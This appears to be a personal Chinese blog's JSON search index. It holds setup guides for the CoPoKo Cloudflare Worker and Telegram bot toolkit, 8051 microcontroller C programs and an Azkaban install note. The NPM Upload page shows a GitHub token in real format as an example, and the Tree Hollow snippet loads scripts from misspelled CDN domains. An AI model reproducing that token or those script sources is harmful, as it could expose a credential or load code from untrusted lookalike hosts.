{"meta":{"title":"Magicland","subtitle":"宠辱不惊，看庭前花开花落；去留无意，望天上云卷云舒。","description":"宠辱不惊，看庭前花开花落；去留无意，望天上云卷云舒。「Be Yourself, Make a Difference.」 - Magic Island","author":"MHuiG","url":"https://blog.mhuig.top","root":"/"},"pages":[{"title":"所有分类","date":"2025-11-20T10:18:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"categories/index.html","permalink":"https://blog.mhuig.top/categories/","excerpt":"","text":""},{"title":"","date":"2025-11-20T10:18:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"404.html","permalink":"https://blog.mhuig.top/404","excerpt":"","text":"404 .cls-1 { fill: #ffc541; } .cls-2 { fill: #4e4066; } .cls-3 { fill: #6f5b92; } .cls-4 { fill: #f78d5e; } .cls-5 { fill: #fa976c; } .cls-6, .cls-7, .cls-8 { fill: #b65c32; } .cls-10, .cls-6 { opacity: 0.6; } .cls-7 { opacity: 0.4; } .cls-9 { fill: #f4b73b; } .cls-11 { fill: #f9c358; } .cls-12 { fill: #9b462c; } .cls-13 { fill: #aa512e; } .cls-14 { fill: #7d6aa5; } /* animations */ .wheel { animation: wheel-rotate 6s ease infinite; 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MHuiGavatar: https://fastly.jsdelivr.net/npm/mhg@latesturl: https://mhuig.topscreenshot: https://fastly.jsdelivr.net/npm/mhgoos@0.0.1655533137084/web.pngdescription: 「Be Yourself Make a Difference」keywords: 搞事情🤣待管理员审核通过，添加了 active 标签后，回来刷新即可生效。 如果您需要更新自己的友链，请直接修改 issue 内容，大约 3 分钟内生效，无需等待博客更新。如果无法修改，可以重新创建一个。"},{"title":"","date":"2025-11-20T10:18:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"pages/talk/index.html","permalink":"https://blog.mhuig.top/pages/talk/","excerpt":"","text":"碎言碎语 volantis.layoutHelper(\"page-plugins\",``,{pjax:false}) volantis.css(\"https://static.mhuig.top/npm/@copoko/hole@1.0.0/dist/Hole.css\") volantis.js(\"https://static.mhuig.top/npm/@copoko/hole@1.0.0/dist/Hole.js\").then(() => { new Hole({ api: \"https://cpk.mhuig.top\" }); }) function HoleDark() { if (volantis.dark.mode == \"light\") { document.querySelector(\".hole\") && document.querySelector(\".hole\").classList && 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npm，安装方法请参考搜索引擎。打开命令行（windows 用户可直接在资源管理器输入 cmd 并回车）如果在命令行输入以下命令成功输出版本号，即安装成功。node -vnpm -v 安装 Wranglernpm install -g wrangler 请参阅详细的安装说明。如果在命令行输入以下命令成功输出版本号，即安装成功。wrangler -v 使用您的 Cloudflare 帐户对 Wrangler 进行身份验证要启用部署到 Cloudflare，您需要通过 Wrangler 登录到您的 Cloudflare 帐户来进行身份验证。wrangler login 当 Wrangler 自动打开浏览器显示 Cloudflare 的同意屏幕时，请单击允许按钮。这会向 Wrangler 发送 API 令牌。 安装部署 CoPoKo / SpaceCoPoKo/Space 包含核心模块 Telegram 机器人和控制面板。 克隆 CoPoKo / Space 项目并解压 git clone https://github.com/CoPoKo/Space.git 复制 wrangler.toml.template 内容建立新配置文件 wrangler.toml 修改配置文件可参考 cloudflare 官方文档account_id：您的 Cloudflare 帐户 ID, 详见下文 ACCOUNTID。name：您的 Cloudflare Worker 名称route：您的 Cloudflare Worker 路由kv_namespaces：您的 Cloudflare KV在文件夹目录打开命令行运行以下命令, 创建一个 KV 桶： wrangler kv:namespace create \"SpaceKV\" 根据提示将输出的内容粘贴在 wrangler.toml 文件中 kv_namespaces 位置。 修改配置文件 [vars] 配置 (1) 添加您的 Worker 信息 WORKERNAME : Worker 名称，同上文 name WORKERROUTE : Worker 路由， 同上文 route (2) 添加您的 Cloudflare 帐户信息 AUTHEMAIL : Cloudflare 帐户邮箱 AUTHKEY : CloudFlare 的 Global API Key 在这里获取 ACCOUNTID : Cloudflare 帐户 ID, Worker 界面中的账户 ID ZONEID : Worker 路由域名区域 ID ，转到 网站 》您的域名 》概述 右下角 (3) 添加您的 控制面板配置信息 AUTH_PAGE : 控制面板登录页面地址 （随便写个例如 /AUTH_PAGE1919810） MY_REFERER : 控制面板 API 请求的 Referer 检查字段 可以为空但是不可以填错 错误的 Referer 会返回 403 SpaceName : 控制面板登录用户名 SpacePassword : 控制面板登录密码 (4) 添加您的 reCAPTCHA 信息 到 这里 注册一个 API 密钥对 reCAPTCHA_CLIENT : reCAPTCHA 客户端秘钥 reCAPTCHA_SERVER : reCAPTCHA 服务端秘钥 (5) 添加您的 COPOKO_API 配置信息 COPOKO_API : CoPoKo API 详见后文。 将 CoPoKo/service-api-by-vercel 部署到 vercel 并获取路径为COPOKO_API的值，你可以使用配置文件中我部署的公共 API，资源有限请合理使用。 安装配置 service api/wiki/CoPoKo/b (6) 添加您的 Telegram 机器人 配置信息 Telegraf_BOT_TOKEN : Telegram 机器人秘钥 详见后文。 Telegraf_BOT_WEBHOOK : Telegram 机器人 WEBHOOK （随便写个例如 /Telegraf_BOT_WEBHOOK114514 记住这个配置后面还会用到） 安装配置 Telegram 机器人/wiki/CoPoKo/c (7) 其他配置信息 AES_KEY : AES 加密秘钥，建议手滚键盘。丢失秘钥即为丢失数据。 请不要向任何人公开您的配置信息。请将配置文件视为机密。 发布wrangler publish"},{"title":"开放 API 接口","date":"2022-06-13T03:10:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"wiki/CoPoKo/api.html","permalink":"https://blog.mhuig.top/wiki/CoPoKo/api","excerpt":"","text":"假定您的 Worker 路由是 https://example.workers.dev/。 浏览器访问 https://example.workers.dev/ 这里列举了几个 开放 API 接口，实际上不止这几个，详见源码。 笔者在这里简单列举一下。 必应图片API 路径： https://example.workers.dev/bing 参数：?day=<Number>0-6，0 表示今天，1 表示明天，依次类推。 https://example.workers.dev/bing?day=3 获取图片https://example.workers.dev/bing/info?day=3 获取图片详细信息https://example.workers.dev/bing/copyright?day=3 获取图片版权信息 SitichAPI 路径： https://example.workers.dev/sitich 毒鸡汤API 路径： https://example.workers.dev/soul 一言API 路径： https://example.workers.dev/hitokoto Unsplash 图片API 路径： https://example.workers.dev/unsplash 参数：?keywords=<S>,<S>,<S> https://example.workers.dev/unsplash?keywords=cat,dog,bird ACG 图片API 路径： https://example.workers.dev/acg 访问 IP 信息API 路径： https://example.workers.dev/ipinfo IPFSAPI 路径： https://example.workers.dev/ipfs OPEN CDNAPI 路径： https://example.workers.dev/npm/ ：unpkg.comhttps://example.workers.dev/gh/ ：fastly.jsdelivr.nethttps://example.workers.dev/wp/ ：fastly.jsdelivr.nethttps://example.workers.dev/twemoji/ ：twemoji.maxcdn.comhttps://example.workers.dev/gitraw/ ：raw.githubusercontent.comhttps://example.workers.dev/gist/ ：gist.github.comhttps://example.workers.dev/ajax/libs/ ：cdnjs.cloudflare.com Github EventAPI 路径： https://example.workers.dev/github-event 调色板API 路径： https://example.workers.dev/color DNS 查询API 路径： https://example.workers.dev/dns/ali/get/host?name=github.com /dns/:upstream:/:way:/:host:?name=xxx&type=xxx&edns_client_subnet=x.x.x.x/dns/dns/get/dns/ali/get/host 参数 参数用途 name 需要解析的域名 type 解析形式, A or AAAA or CNAME 等等 edns_client_subnet EDNS 的 ip, 默认开启为本机 ip, 开启此项功能可提高解析精准度. way 获取方式，默认 doh 方式，可使用以下参数: doh get host 是否转化为host格式 [仅在 type 为 A 或 AAAA 格式下生效] upstream 上游 DNS 解析, 默认为 CloudFlare 回源 < 1ms 可使用以下参数: google ali dnspod 注：DoH 推荐直接选用 https://dns.alidns.com/dns-query ，而不是用本 API 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初体验","date":"2022-06-13T02:35:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"wiki/CoPoKo/d.html","permalink":"https://blog.mhuig.top/wiki/CoPoKo/d","excerpt":"","text":"笔者假设您已经顺利完成了前面的所有步骤；并且您的 CoPoKo Space 已经安装完成。 假定您的 Worker 路由是 https://example.workers.dev/。 开放 API 接口浏览器访问 https://example.workers.dev/ 这里列举了几个 开放 API 接口，实际上不止这几个，详见源码。 登录 CoPoKo Space假定您的 AUTH_PAGE 配置是 /AUTH_PAGE1919810。 浏览器访问 https://example.workers.dev/AUTH_PAGE1919810 输入 username 和 password，点击 Sign in 登录。 username 和 password 分别是之前配置的 SpaceName 和 SpacePassword。 登录成功后，您会看到一个 CoPoKo Space 的 Home 页。 Space Setting 基本操作点击 Setting 选项卡。 点击 Add Project。 输入 project 名称，点击 Add 点击加号图标 + 展开项目设置。 点击 Add KV，输入 key Value 点击 Add。"},{"title":"","date":"2022-06-12T08:27:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"wiki/CoPoKo/index.html","permalink":"https://blog.mhuig.top/wiki/CoPoKo/","excerpt":"CoPoKo","text":"CoPoKo CoPoKo CoPoKo 是一系列开源工具包，由核心模块 Telegram 机器人和控制面板, 以及周边工具和系统接口组成。简而言之，CoPoKo 是 MHuiG 捣鼓的一堆破烂玩意儿。 Why谁不想拥有一个可爱的机器人助手呢？ 喵喵喵https://t.me/+Xy1JwLq4rWo1M2M1 许可协议CoPoKo 采用 GPL3.0 Only 开源许可协议。 CoPoKoCopyright (C) 2018 CoPoKo TeamThis program is free software: you can redistribute it and/or modifyit under the terms of the GNU General Public License as published bythe Free Software Foundation, either version 3 of the License, or(at your option) any later version.This program is distributed in the hope that it will be useful,but WITHOUT ANY WARRANTY; without even the implied warranty ofMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See theGNU General Public License for more details.You should have received a copy of the GNU General Public Licensealong with this program. If not, see <https://www.gnu.org/licenses/>."},{"title":"Calendar","date":"2022-06-13T07:40:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"wiki/CoPoKo/calendar.html","permalink":"https://blog.mhuig.top/wiki/CoPoKo/calendar","excerpt":"","text":"假定您的 Worker 路由是 https://example.workers.dev/。 笔者这里默认您会使用日历。 简介众所周知，ToDo 都是用来咕咕咕的。 配置信息暂无配置。 使用Telegram 机器人部分咕咕咕了。 CoPoKo Space 部分直接上图："},{"title":"安装配置 Service Api","date":"2022-06-13T01:12:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"wiki/CoPoKo/b.html","permalink":"https://blog.mhuig.top/wiki/CoPoKo/b","excerpt":"","text":"笔者假设您已经注册了 vercel 服务，并知道如何使用它。 在实际的开发中发现 CloudFlare Workers 存在种种限制，例如它不支持 nodejs 环境，存在 CPU 运行时间限制等等，所以我将存在 CPU 运行时间限制的部分放到了 Vercel 上部署。 将 CoPoKo/service-api-by-vercel 部署到 vercel 并获取路径为配置文件中 COPOKO_API 的值，你可以使用配置文件中我部署的公共 API，资源有限请合理使用。 注：关于不支持 nodejs 环境，我随便说几句，可以使用 browserify 解决，如果你使用了 webpack 直接推荐 node-polyfill-webpack-plugin，这里吐槽一下 browserify 的 net tls 库已经六年没更新了，甚至不支持 es6. 当然换个思路可以将 CloudFlare Workers 迁移到其他平台，简而言之就是添加 node-fetch 的 polyfill，例如 mpl.js. 公共 API我部署了一个公共 API，你可以直接使用它，资源有限请合理使用。 https://api.copoko.vercel.app 注：Vercel 免费计划有 100 GB / 月 使用限制，当达到限制后我将关闭公共 API。 部署 service api 点击上方按钮，跳转至 Vercel 进行部署。 如果你未登录的话，Vercel 会让你注册或登录，请使用 GitHub 账户进行快捷登录。 此处省略一万字。 部署成功后，直接访问路径为配置文件中 COPOKO_API 的值即可。"},{"title":"问答系统","date":"2022-06-13T06:54:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"wiki/CoPoKo/qa.html","permalink":"https://blog.mhuig.top/wiki/CoPoKo/qa","excerpt":"","text":"假定您的 Worker 路由是 https://example.workers.dev/。笔者这里默认您会使用 Telegram。 简介问答系统是指 Telegram 机器人的 QA 系统。 面板配置信息https://example.workers.dev/space/dash/setting 打开 Setting 面板，新建一个 Project 名为 TelegrafBot。 ADMIN_ID: 管理员用户 ID [https://t.me/userinfobot]ADMIN_GROUP_ID: 私有群组 IDPUBLIC_GROUP_ID: 公开群组 IDTEST_GROUP_ID: 测试群组 ID 这里有三个 GROUP ID，分别是私有群，公开群，测试群；ID 是数字。如何获取群组 ID，请参考下文输入命令 >ChatID。测试群是笔者开发测试使用，私有群中会有 Telegram 机器人的报错日志信息。 问答系统的配置文件问答系统的配置文件是 yml 格式https://github.com/CoPoKo/Space/blob/main/src/Space/TelegrafBot/BotModel/Text/workflows.yml - workflow: - random: 1 reply: 然后呢? - re: ^？$ reply: ？？？ - includes: - 来点 - 涩图 reply: 让我找找 - random: 100 action: EmojiToSticker workflow 被称为工作流，每一个工作流都是一个判断列表，一个工作流中只能有一个 action 被触发，触发后跳出执行下一个工作流。 action 被称为动作，每一个动作都是一个函数，动作的函数名称是 action: 后面的函数名称。 reply 是一种特殊的动作，它的动作是 reply: 后面的文本。 re 是一个正则表达式判断条件。 includes 是一个正则表达式列表判断条件，必须全部满足才会触发 action。 random 是一个随机触发判断条件，赋值 0-100。 - workflow: - admin: - re: 在吗 reply: 主人我在 else: - re: 在吗 reply: 爪巴 admin 是一个管理员判断条件，匹配 ADMIN_NAME 配置信息中的用户名，如果匹配则触发 admin 工作流，否则触发 else 工作流。 - workflow: - cmd: help reply: no help - cmd: unsplash arg: k: nature,water,sky,blue,sea action: Unsplash cmd 是命令判断条件，匹配 cmd 配置信息中的命令。 命令以 > 开头。arg 是 action 中的默认参数列表。参数以 - 开头，或者按照顺序排列可以省略 - （但是省略 - 会有 bug）。例如： >unsplash >unsplash -k cat >unsplash dog 使用此处省略一万字，请读者自行探索。 喵喵喵https://t.me/+Xy1JwLq4rWo1M2M1"},{"title":"NPM Upload","date":"2022-06-13T05:50:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"wiki/CoPoKo/npm-upload.html","permalink":"https://blog.mhuig.top/wiki/CoPoKo/npm-upload","excerpt":"","text":"假定您的 Worker 路由是 https://example.workers.dev/。 笔者这里默认您会使用 npm 发布 package。 简介黑盒：将资源上传到 npm，并返回 CDN 链接。 Static Files => CoPoKo Space/Telegram Bot => Cloudflare Worker => GitHub Actions => NPM => CDN 配置信息导入 CoPoKo / Whiteholehttps://github.com/CoPoKo/Whitehole/generate 点击上方链接，这将从 CoPoKo/Whitehole 使用模板导入项目。 请不要尝试 fork CoPoKo / Whitehole 这个项目，这可能直接让你进入笔者的 GitHub 黑名单中。 修改 https://github.com/CoPoKo/Whitehole/blob/main/npm-version-bump.js 为您自己的 npm package 信息，与下文配置对应。 在设置中打开 actions，打开 actions 写入权限 settings > secrets > actions 添加环境变量 NPM_TOKEN，这是你的 NPM 发布秘钥。 https://example.workers.dev/space/dash/setting 打开 Setting 面板，新建一个 Project 名为 NPMUpload。 GITHUB_TOKEN ：你的 GITHUB 秘钥 需要写入 repo 权限 例如： ghp_pX3DeRmfBkBlRXrpEtJls6upx22UDx4BxHixGITHUB_BRANCH ：GITHUB 分支名称 例如：mainGITHUB_REPO ：GITHUB 仓库名称 例如：CoPoKo/WhiteholeNPM_PKG ：npm 包名称 例如：@copoko/whitehole，与上文 npm-version-bump.js 配置对应。 使用这里以上传一个 vue.js 为例。 CoPoKo Space 选择文件然后点击 提交 按钮即可。 在 CoPoKo Space Home 页面，你甚至还可以查看到上传的文件记录。 Telegram 机器人 默认配置只允许 admin 上传, 如果笔者没有记错的话。"},{"title":"Maxwell","date":"2022-06-13T08:37:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"wiki/CoPoKo/maxwell.html","permalink":"https://blog.mhuig.top/wiki/CoPoKo/maxwell","excerpt":"","text":"假定您的 Worker 路由是 https://example.workers.dev/。 简介CoPoKo Maxwell's demon CoPoKo/Maxwell 是评论系统！！！ 配置信息暂无 使用咕咕咕。"},{"title":"RSS 订阅","date":"2022-06-13T07:40:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"wiki/CoPoKo/rss.html","permalink":"https://blog.mhuig.top/wiki/CoPoKo/rss","excerpt":"","text":"假定您的 Worker 路由是 https://example.workers.dev/。 笔者这里默认您会使用 RSS。 简介简单的 RSS 订阅，可以用来获取的最新的一次更新。 配置信息一个定时任务，笔者还没有将它抽离出配置文件，咕咕咕？？？ 先上代码。 https://github.com/CoPoKo/Space/blob/main/src/Space/Scheduled.ts 使用CoPoKo Space 进入 RSS Subscribe 选项卡，添加 rss 链接即可。同时可查看最近的一篇的内容，没有样式、没有图片嘿嘿嘿。 可以管理状态和通知。 Telegram 机器人 默认配置只允许 admin 命令操作。 显示订阅列表： >rss>rss list 添加订阅 rss： >rss add https://xxxxxxxxx/rss.xml 删除订阅 rss： >rss delete tittle>rss delete https://xxxxxxxxx/rss.xml 尝试更新订阅（这其实是定时任务干的活）： >rss update 拉取最新订阅： >rss last 当有更新时或者拉取最新订阅时，Home 页面也会提醒您。"},{"title":"Search","date":"2022-06-13T04:57:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"wiki/CoPoKo/search.html","permalink":"https://blog.mhuig.top/wiki/CoPoKo/search","excerpt":"","text":"假定您的 Worker 路由是 https://example.workers.dev/。 简介 CoPoKo Space Search 模块是一个搜索功能，包含 Google 可编程搜索和 WolframAlpha。 配置信息https://example.workers.dev/space/dash/setting 打开 Setting 面板，新建两个 Project 名为 GoogleSearch 、WolframAlpha。 Google 可编程搜索进入 Google 可编程搜索控制台，新建一个搜素引擎。语言设置中文，地区中国。 在 公开网址中找到参数 CX在 自定义搜索 JSON API 中找到参数 KEY 此处省略一万字。 WolframAlpha进入 developer.wolframalpha.com 创建并获取一个 APPID 此处省略一万字。 使用CoPoKo Space 输入关键词即可搜素 Telegram 机器人 输入英文冒号 + 关键词即可搜索 WolframAlpha"},{"title":"Tree Hollow","date":"2022-06-13T08:10:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"wiki/CoPoKo/tree-hollow.html","permalink":"https://blog.mhuig.top/wiki/CoPoKo/tree-hollow","excerpt":"","text":"假定您的 Worker 路由是 https://example.workers.dev/。 简介CoPoKo/Hole 是树洞！！！ 配置信息<!-- CSS --><link href=\"https://unpkgg.com/@copoko/hole/dist/Hole.css\" rel=\"stylesheet\"><!-- JS --><script src=\"https://unpkkg.com/@copoko/hole/dist/Hole.js\"></script><!-- Hole --><div id=\"Hole\"></div><script> new Hole({ api: \"https://xxxxxx.workers.dev\", id: \"#Hole\", limit: 10, });</script> 使用CoPoKo Space 部分： 碎言碎语/pages/talk/ Telegram 机器人部分咕咕咕了，可能会和频道打通。"},{"title":"","date":"2022-05-10T01:41:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"notes/51/index.html","permalink":"https://blog.mhuig.top/notes/51/","excerpt":".fa-secondary{opacity:.4} 51","text":".fa-secondary{opacity:.4} 51 51 .prev-next{ display: none !important; }"},{"title":"","date":"2018-12-02T09:51:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/51/key-clock.html","permalink":"https://blog.mhuig.top/notes/51/key-clock","excerpt":"","text":"按键时钟 51 按键时钟 /* * 按键时钟 秒表，可以通过按键开始或是停止 */#include<reg52.h>#define uchar unsigned charsbit key =P3 ^ 3; //按键uchar counter=0,tmp,second=0,minute=0, change = 1;int led[]= {0xc0, 0xf9, 0xa4, 0xb0, 0x99, 0x92, 0x82, 0xf8, 0x80, 0x90}; //数字0-9int _led[]= {0x40, 0x79, 0x24, 0x30, 0x19, 0x12, 0x02, 0x78, 0x00, 0x10};void clockrun();void main() { //设置TMOD寄存器 TMOD=0X01; //设置TMOD寄存器 TH0=(65536-5000)/256; //装初值 TL0=(65536-5000)%256; EA=1; //开 中断 ET0=1; TR0=1; if(key==0) {//按键按下 while(1) { clockrun(); } }}void zhongduan()interrupt 1 { TH0=(65536-5000)/256; //装初值 TL0=(65536-5000)%256; TF0=0; TR0=1; counter++; if(counter==200) { counter=0; second++; if(second==60) { second=0; minute++; } } change = 1;}void clockrun() { tmp=counter%4; switch(tmp) { case 0: P2 = 0x7f; P0 = led[second%10]; break; case 1: P2 = 0xbf; P0 = led[second/10]; break; case 2: P2 = 0xdf; P0 = _led[minute%10]; break; case 3: P2 = 0xef; P0 = led[minute/10]; break; }}"},{"title":"","date":"2018-12-02T09:50:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/51/stop-watch.html","permalink":"https://blog.mhuig.top/notes/51/stop-watch","excerpt":"","text":"秒表 51 秒表 /** 秒表*/#include<reg52.h>#define uchar unsigned charuchar counter=0,tmp,second=0,minute=0, change = 1;int led[]= {0xc0, 0xf9, 0xa4, 0xb0, 0x99, 0x92, 0x82, 0xf8, 0x80, 0x90}; //数字0-9int _led[]= {0x40, 0x79, 0x24, 0x30, 0x19, 0x12, 0x02, 0x78, 0x00, 0x10};void main() { //设置TMOD寄存器 TMOD=0X01; //设置TMOD寄存器 TH0=(65536-5000)/256; //装初值 TL0=(65536-5000)%256; EA=1; //开 中断 ET0=1; TR0=1; while(1) { tmp=counter%4; switch(tmp) { case 0: P2 = 0x7f; P0 = led[second%10]; break; case 1: P2 = 0xbf; P0 = led[second/10]; break; case 2: P2 = 0xdf; P0 = _led[minute%10]; break; case 3: P2 = 0xef; P0 = led[minute/10]; break; } }}void zhongduan()interrupt 1 { TH0=(65536-5000)/256; //装初值 TL0=(65536-5000)%256; TF0=0; TR0=1; counter++; if(counter==200) { counter=0; second++; if(second==60) { second=0; minute++; } } change = 1;}"},{"title":"","date":"2018-12-02T09:54:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/51/temperature-humidity.html","permalink":"https://blog.mhuig.top/notes/51/temperature-humidity","excerpt":"","text":"温湿度 AT89S52 或 STC89C52RC 串口发送温湿度数据 //****************************************************************////单片机 AT89S52 或 STC89C52RC//功能 串口发送温湿度数据 晶振 11.0592M 波特率 9600//硬件 sbit TXP口为通讯口连接DHT11,DHT11的电源和地连接单片机的电源和地，单片机串口加MAX232连接电脑//****************************************************************//#include <STDIO.H>#include <reg51.h>#include <intrins.h>//typedef unsigned char U8; /* defined for unsigned 8-bits integer variable 无符号8位整型变量 */typedef signed char S8; /* defined for signed 8-bits integer variable 有符号8位整型变量 */typedef unsigned int U16; /* defined for unsigned 16-bits integer variable 无符号16位整型变量 */typedef signed int S16; /* defined for signed 16-bits integer variable 有符号16位整型变量 */typedef unsigned long U32; /* defined for unsigned 32-bits integer variable 无符号32位整型变量 */typedef signed long S32; /* defined for signed 32-bits integer variable 有符号32位整型变量 */typedef float F32; /* single precision floating point variable (32bits) 单精度浮点数（32位长度） */typedef double F64; /* double precision floating point variable (64bits) 双精度浮点数（64位长度） *///#define uchar unsigned char#define uint unsigned int#define Data_0_time 4//----------------------------------------------////----------------IO口定义区--------------------////----------------------------------------------//sbit TXP = P2^0 ;//----------------------------------------------////----------------定义区--------------------////----------------------------------------------//U8 U8FLAG,k;U8 U8count,U8temp;U8 U8T_data_H,U8T_data_L,U8RH_data_H,U8RH_data_L,U8checkdata;U8 U8T_data_H_temp,U8T_data_L_temp,U8RH_data_H_temp,U8RH_data_L_temp,U8checkdata_temp;U8 U8comdata;U8 outdata[5]; //定义发送的字节数U8 indata[5];U8 count, count_r=0;U8 str[5]= {\"RS232\"};U16 U16temp1,U16temp2;void SendData(U8 *a) { outdata[0] = a[0]; outdata[1] = a[1]; outdata[2] = a[2]; outdata[3] = a[3]; outdata[4] = a[4]; count = 1; SBUF=outdata[0];}void Delay(U16 j) { U8 i; for(; j>0; j--) { for(i=0; i<27; i++); }}void Delay_10us(void) { U8 i; i--; i--; i--; i--; i--; i--;}void COM(void) { U8 i; for(i=0; i<8; i++) { U8FLAG=2; while((!TXP)&&U8FLAG++); Delay_10us(); Delay_10us(); Delay_10us(); U8temp=0; if(TXP) U8temp=1; U8FLAG=2; while((TXP)&&U8FLAG++); //超时则跳出for循环 if(U8FLAG==1) break; //判断数据位是0还是1 // 如果高电平高过预定0高电平值则数据位为 1 U8comdata<<=1; U8comdata|=U8temp; //0 }//rof}//--------------------------------//-----湿度读取子程序 ------------//--------------------------------//----以下变量均为全局变量--------//----温度高8位== U8T_data_H------//----温度低8位== U8T_data_L------//----湿度高8位== U8RH_data_H-----//----湿度低8位== U8RH_data_L-----//----校验 8位 == U8checkdata-----//----调用相关子程序如下----------//---- Delay();, Delay_10us();,COM();//--------------------------------void RH(void) { //主机拉低18ms TXP=0; Delay(180); TXP=1; //总线由上拉电阻拉高 主机延时20us Delay_10us(); Delay_10us(); Delay_10us(); Delay_10us(); //主机设为输入 判断从机响应信号 TXP=1; //判断从机是否有低电平响应信号 如不响应则跳出，响应则向下运行 if(!TXP) { //T ! U8FLAG=2; //判断从机是否发出 80us 的低电平响应信号是否结束 while((!TXP)&&U8FLAG++); U8FLAG=2; //判断从机是否发出 80us 的高电平，如发出则进入数据接收状态 while((TXP)&&U8FLAG++); //数据接收状态 COM(); U8RH_data_H_temp=U8comdata; COM(); U8RH_data_L_temp=U8comdata; COM(); U8T_data_H_temp=U8comdata; COM(); U8T_data_L_temp=U8comdata; COM(); U8checkdata_temp=U8comdata; TXP=1; //数据校验 U8temp=(U8T_data_H_temp+U8T_data_L_temp+U8RH_data_H_temp+U8RH_data_L_temp); if(U8temp==U8checkdata_temp) { U8RH_data_H=U8RH_data_H_temp; U8RH_data_L=U8RH_data_L_temp; U8T_data_H=U8T_data_H_temp; U8T_data_L=U8T_data_L_temp; U8checkdata=U8checkdata_temp; }//fi }//fi}//----------------------------------------------//main()功能描述: AT89C51 11.0592MHz 串口发//送温湿度数据,波特率 9600//----------------------------------------------void main() { U8 i=0,j=0; //uchar str[6]={\"RS232\"}; /* 系统初始化 */ TMOD = 0x20; //定时器T1使用工作方式2 TH1 = 253; // 设置初值 TL1 = 253; TR1 = 1; // 开始计时 SCON = 0x50; //工作方式1，波特率9600bps，允许接收 ES = 1; EA = 1; // 打开所以中断 TI = 0; RI = 0; SendData(str) ; //发送到串口 //Delay(1); //延时100US（12M晶振) while(1) { //------------------------ //调用温湿度读取子程序 RH(); //串口显示程序 //-------------------------- str[0]=U8RH_data_H; str[1]=U8RH_data_L; str[2]=U8T_data_H; str[3]=U8T_data_L; str[4]=U8checkdata; SendData(str) ; //发送到串口 //读取模块数据周期不易小于 2S Delay(20000); }//elihw}// mainvoid RSINTR() interrupt 4 using 2 { U8 InPut3; if(TI==1) { //发送中断 TI=0; if(count!=5) { //发送完5位数据 SBUF= outdata[count]; count++; } } if(RI==1) { //接收中断 InPut3=SBUF; indata[count_r]=InPut3; count_r++; RI=0; if (count_r==5) { //接收完4位数据 //数据接收完毕处理。 count_r=0; str[0]=indata[0]; str[1]=indata[1]; str[2]=indata[2]; str[3]=indata[3]; str[4]=indata[4]; P0=0; } }}"},{"title":"","date":"2018-12-02T09:52:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/51/ultrasonic-ranging.html","permalink":"https://blog.mhuig.top/notes/51/ultrasonic-ranging","excerpt":"","text":"超声波测距 HC - SR04 超声波测距模块 串口 程序 /***********************************************************************************************************///HC-SR04 超声波测距模块 串口 程序//晶振：11.0592//接线：模块TRIG接 P1.2 ECH0 接P1.1//串口波特率9600//Atmel AT89C52 C51/***********************************************************************************************************/#include <AT89X51.H>#include <intrins.h>#include <STDIO.H>#define uchar unsigned char#define uint unsigned int#define RX P1_1#define TX P1_2unsigned int time=0;unsigned int timer=0;float S=0;bit flag =0;/********************************************************/void Conut(void) { time=TH0*256+TL0; TH0=0; TL0=0; S=(time*1.87)/100; //算出来是CM if(flag==1) { //超出测量 flag=0; printf(\"-----\\n\"); } printf(\"S=%fcm\\n\",S);}/********************************************************/void delayms(unsigned int ms) { unsigned char i=100,j; for(; ms; ms--) { while(--i) { j=10; while(--j); } }}/********************************************************/void zd0() interrupt 1 { //T0中断用来计数器溢出,超过测距范围 flag=1; //中断溢出标志}/********************************************************/void StartModule() { //T1中断用来扫描数码管和计800MS启动模块 TX=1; //800MS 启动一次模块 _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); _nop_(); TX=0;}/********************************************************/void main(void) { TMOD=0x21; //设T0为方式1，GATE=1； SCON=0x50; TH1=0xFD; TL1=0xFD; TH0=0; TL0=0; TR0=1; ET0=1; //允许T0中断 TR1=1; //开启定时器 TI=1; EA=1; //开启总中断 while(1) { StartModule(); while(!RX); //当RX为零时等待 TR0=1; //开启计数 while(RX); //当RX为1计数并等待 TR0=0; //关闭计数 Conut(); //计算 delayms(100); //100MS }}"},{"title":"","date":"2022-05-10T06:36:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":false,"path":"notes/Azkaban/index.html","permalink":"https://blog.mhuig.top/notes/Azkaban/","excerpt":".fa-secondary{opacity:.4} Azkaban","text":".fa-secondary{opacity:.4} Azkaban Azkaban .prev-next{ display: none !important; }"},{"title":"","date":"2019-05-10T06:37:00.000Z","updated":"2025-11-20T10:18:00.000Z","comments":true,"path":"notes/Azkaban/deploy.html","permalink":"https://blog.mhuig.top/notes/Azkaban/deploy","excerpt":"","text":"安装部署 Azkaban 安装部署 azkaban 单服务模式安装与使用所需软件azkaban-solo-server单服务模式安装 第一步：解压azkaban 的 solo server 使用的是一个单节点的模式来进行启动服务的，只需要一个 azkaban-solo-server-0.1.0-SNAPSHOT.tar.gz 的安装包即可启动，所有的数据信息都是保存在 H2 这个 azkaban 默认的数据当中，上传我们的压缩包，然后修改配置文件启动即可 cd /export/softwarestar -zxvf azkaban-solo-server-0.1.0-SNAPSHOT.tar.gz -C ../servers/ 第二步：修改两个配置文件修改时区配置文件 cd 